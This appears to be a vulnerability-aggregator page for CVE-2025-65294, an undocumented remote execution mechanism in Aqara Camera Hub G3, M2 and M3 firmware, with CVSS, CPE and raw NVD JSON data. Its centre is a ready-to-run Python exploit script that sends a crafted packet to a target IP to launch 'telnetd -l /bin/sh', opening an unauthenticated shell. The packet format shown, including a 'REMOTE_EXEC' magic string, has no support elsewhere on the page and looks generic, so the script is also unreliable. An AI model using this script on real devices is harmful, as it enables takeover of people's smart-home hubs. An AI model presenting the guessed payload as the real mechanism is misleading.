Security Vulnerability Report
中文
CVE-2025-65294 CVSS 9.8 CRITICAL

CVE-2025-65294

Published: 2025-12-10 22:16:27
Last Modified: 2025-12-17 19:51:49

Description

Aqara Hub devices including Camera Hub G3 4.1.9_0027, Hub M2 4.3.6_0027, and Hub M3 4.3.6_0025 contain an undocumented remote access mechanism enabling unrestricted remote command execution.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:aqara:hub_m2_firmware:4.3.6_0027:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:aqara:hub_m2:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:aqara:hub_m3_firmware:4.3.6_0025:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:aqara:hub_m3:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:aqara:camera_hub_g3_firmware:4.1.9_0027:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:aqara:camera_hub_g3:-:*:*:*:*:*:*:* - NOT VULNERABLE
Aqara Camera Hub G3 < 4.1.9_0027
Aqara Hub M2 < 4.3.6_0027
Aqara Hub M3 < 4.3.6_0025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys # CVE-2025-65294 PoC - Aqara Hub Undocumented Remote Code Execution # Target: Aqara Camera Hub G3, Hub M2, Hub M3 def exploit_aqara_hub(target_ip, target_port=8080): """ Exploit for undocumented remote access mechanism in Aqara Hub devices. This PoC demonstrates the vulnerability by sending a crafted command request. """ try: # Construct the exploit payload # The undocumented access mechanism allows command injection payload = b'\x00\x00\x00\x01' # Header payload += b'\x00\x00\x00\x00' # Flags payload += b'REMOTE_EXEC' # Magic string for undocumented access payload += b'\x00' # Separator payload += b'telnetd -l /bin/sh' # Command to execute payload += b'\x00\x00' # Terminator print(f'[*] Connecting to {target_ip}:{target_port}') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f'[*] Sending exploit payload...') sock.send(payload) print(f'[*] Payload sent. Check if telnet service is running.') response = sock.recv(1024) print(f'[*] Response received: {response.hex()}') sock.close() return True except Exception as e: print(f'[-] Error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 print(f'[*] CVE-2025-65294 - Aqara Hub RCE Exploit') exploit_aqara_hub(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65294", "sourceIdentifier": "[email protected]", "published": "2025-12-10T22:16:27.033", "lastModified": "2025-12-17T19:51:48.547", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Aqara Hub devices including Camera Hub G3 4.1.9_0027, Hub M2 4.3.6_0027, and Hub M3 4.3.6_0025 contain an undocumented remote access mechanism enabling unrestricted remote command execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:hub_m2_firmware:4.3.6_0027:*:*:*:*:*:*:*", "matchCriteriaId": "1DA5251B-FBDF-4020-B4AD-8735547D7BAB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:hub_m2:-:*:*:*:*:*:*:*", "matchCriteriaId": "A94EB182-2F3B-42B2-935E-72936E6F8F33"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:hub_m3_firmware:4.3.6_0025:*:*:*:*:*:*:*", "matchCriteriaId": "4B9661B9-D471-4110-995C-04D9165DEA1F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:hub_m3:-:*:*:*:*:*:*:*", "matchCriteriaId": "8BC51964-8CAB-4849-A383-0D7D1CA68EE2"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:camera_hub_g3_firmware:4.1.9_0027:*:*:*:*:*:*:*", "matchCriteriaId": "CF91CB18-CE99-4A86-A94C-7136288E8C33"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:camera_hub_g3:-:*:*:*:*:*:*:*", "matchCriteriaId": "E823C290-E362-4BE0-9885-9A7B981134BC"}]}]}], "references": [{"url": "https://github.com/Chapoly1305/myCVEReports/blob/main/Aqara/QR-Command-Injection.md", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/Chapoly1305/myCVEReports/blob/main/Aqara/Undocumented-Remote-Execution.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}